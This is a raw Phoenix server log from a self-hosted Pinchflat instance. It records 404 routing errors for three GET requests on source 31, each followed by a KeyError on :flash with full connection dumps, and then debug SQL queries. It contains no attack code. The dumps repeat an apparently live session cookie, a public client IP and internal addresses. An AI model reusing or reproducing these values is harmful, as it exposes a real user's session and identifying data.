"pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 33056}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.173.51", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.173.51" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.140604.0>, params: %{}, path_info: ["sources", "31", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.164.173.51"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "104.164.173.51"} ], request_path: "/sources/31/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXa82EVc936xU0AADcl"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140527.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/sync_files_on_disk", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 33056}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.173.51", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.173.51" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140527.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/sync_files_on_disk", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 33056}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, defl (truncated) 06:46:06.543 [debug] QUERY OK source="settings" db=0.4ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:06.541 [error] #PID<0.140605.0> running PinchflatWeb.Endpoint (connection #PID<0.140515.0>, stream id 3) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140515.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_index", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 32976}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.173.51", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.173.51" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.140605.0>, params: %{}, path_info: ["sources", "31", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.164.173.51"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "104.164.173.51"} ], request_path: "/sources/31/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXa82EkBJlQhXMAADtk"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140515.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_index", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 32976}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.173.51", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.173.51" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140515.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_index", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 32976}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en; (truncated) 06:46:06.541 [error] #PID<0.140606.0> running PinchflatWeb.Endpoint (connection #PID<0.140534.0>, stream id 5) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140534.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_metadata_refresh", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 33074}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.173.51", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.173.51" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.140606.0>, params: %{}, path_info: ["sources", "31", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.164.173.51"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "104.164.173.51"} ], request_path: "/sources/31/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXa82EkaMGJq7oAAD4n"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140534.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_metadata_refresh", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 33074}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.173.51", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.173.51" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140534.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_metadata_refresh", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 33074}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", (truncated) 06:46:06.544 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:46:06.545 [debug] QUERY OK source="media_items" db=0.5ms idle=2.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [31] 06:46:06.545 [info] Sent 200 in 11ms 06:46:06.546 [debug] QUERY OK source="media_items" db=0.8ms idle=2.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:46:06.547 [debug] QUERY OK source="sources" db=0.1ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:46:06.547 [debug] QUERY OK source="media_items" db=0.1ms idle=3.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [31] 06:46:06.548 [debug] QUERY OK source="media_items" db=0.7ms idle=3.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:46:06.549 [debug] QUERY OK source="sources" db=0.2ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:46:06.549 [debug] QUERY OK source="media_items" db=0.5ms idle=3.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [31] 06:46:06.551 [debug] QUERY OK source="media_items" db=1.0ms idle=2.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT 